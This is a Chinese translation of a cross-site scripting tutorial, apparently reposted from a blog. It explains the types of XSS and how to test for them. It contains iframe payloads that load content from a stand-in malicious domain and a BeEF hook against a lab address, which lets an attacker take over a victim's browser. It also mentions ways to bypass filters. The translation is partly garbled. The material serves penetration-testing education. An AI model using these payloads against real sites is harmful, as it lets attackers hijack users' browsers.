0×1 Exploit Tutorial: XSS

0×1 Exploit Tutorial: XSS

图片

翻译风格遵循0x0

本漏洞教程将简要介绍跨站脚本漏洞(XSS),以及如何利用它来控制受害者的浏览器。 XSS是一个非常常见的Web应用程序漏洞,许多人将其视为低风险,因为他们不了解可能的情况。 如果你想下载一个快速的ISO来玩XSS,请查看一些伟大的工程推出的pentesterlab.com。

XSS缺陷通常发生,因为输出没有被正确编码,这样可以让攻击者输入代码而不是预期的输入。

通常,XSS通过Web应用程序来定位受害者浏览器。 所以当用户访问该页面时,攻击者可以在用户浏览器中运行代码。

XSS类型:
存储XSS:这是XSS的类型有时被称为持久性,因为注入的代码保留在Web应用程序上。这是非常受欢迎的驱动下载,攻击者能够存储一些恶意的HTML / JavaScript在合法的Web应用程序,然后用于感染访问应用程序的用户。

这种类型的XSS更难列举,因为它有时可以存在于Web应用程序的日志中,您可能无法在无需额外访问应用程序的情况下进行测试。

反思XSS:这种XSS如果更常见,并且经常被忽略为安全问题。这种类型的漏洞允许HTML / JavaScript在请求中传递给Web应用程序。因此,常见的攻击向导将是使用易受攻击的站点制作链接,并将链接发送给潜在的受害者用户。

基于DOM的XSS:这种类型的XSS完全在用户浏览器而不是Web应用程序上进行。如果您想了解更多关于基于DOM的XSS,这里是一个很好的链接。

XSS测试:
浏览代理并查看输入在屏幕上的位置。一个常见的问题是404页面放入请求的资源,即使它是代码。通常,我在测试XSS时遵循的过程是在我确定了可能接受用户输入的各个区域后,我开始放入不同的输入并检查响应中的源代码,看看我的输入是否包含在内。这是Web应用程序漏洞扫描程序遵循的基本过程来枚举XSS。

What’s possible?
利用xss的常用方法是在用户浏览器中加载HTML / JavaScript。 这通过使用iframe很容易:

<iframe%20height="0"%20width="0"%20src="http://malicious_domain.com/"></iframe>

这个iframe可以获得浏览器的指纹,发现漏洞,然后加载恶意JavaScript来攻击浏览器(#BeEF)。

BeEF:
我们来看看一个xss示例,并利用BeEF挂钩受害者浏览器。 首先,我们在Web应用程序中识别XSS易受攻击者的位置。 有关如何测试这些类型的漏洞的更多详细信息,请参阅Burp Suite上一篇文章/教程。 随着枚举的反射XSS漏洞而不是具有警报(’XSS’)框,我们可以通过iframe加载BeEF钩子。 以下是URL中参数中的反射XSS漏洞的示例:

图片

所以我们所拥有的是一个接受用户输入的参数,不进行任何输入过滤或输出编码,这导致了一个微不足道的XSS漏洞。 现在为了做一些有趣的事情,我们可以抛出一个iframe / BeEF钩子,并发送一个用户一个链接,一旦他们点击它将加载JavaScript在浏览器,我们可以玩!
1

http://192.168.56.104/xss/example1.php?name=<iframe height="0" width="0"src=http://beef_hook/</iframe>

一旦BeEF钩子加载到浏览器中,您可以检查BeEF控制器来控制受害者的浏览器:

图片

BeEF是通过使用JavaScript控制受害者浏览器的强大方式。 您可以使用XSS漏洞查看与BeEF挂钩的受害者浏览器。 BeEF提供了在受害者浏览器上执行的大量功能,甚至连接到Metasploit以提供漏洞。

过滤器

现在,Web开发人员可能已经为<script>或甚至元标签“<,>”输入了一些输入过滤器,在这些情况下,您可以尝试通过使用您插入或编码代码的JavaScript / HTML来创造性地进行过滤 以不同的格式。 查看我们上一篇关于Burp的文章,以查看有关编码输入的一些更多信息,以绕过一些常见的XSS过滤器。

从pentesterlab.com下载iso文件,并开始使用XSS漏洞,它们有不同类型的缺陷,需要您通过以不同格式(URL编码等)编码输入来绕过某些基本过滤器。

猜你喜欢

转载自blog.csdn.net/isinstance/article/details/78184009
今日推荐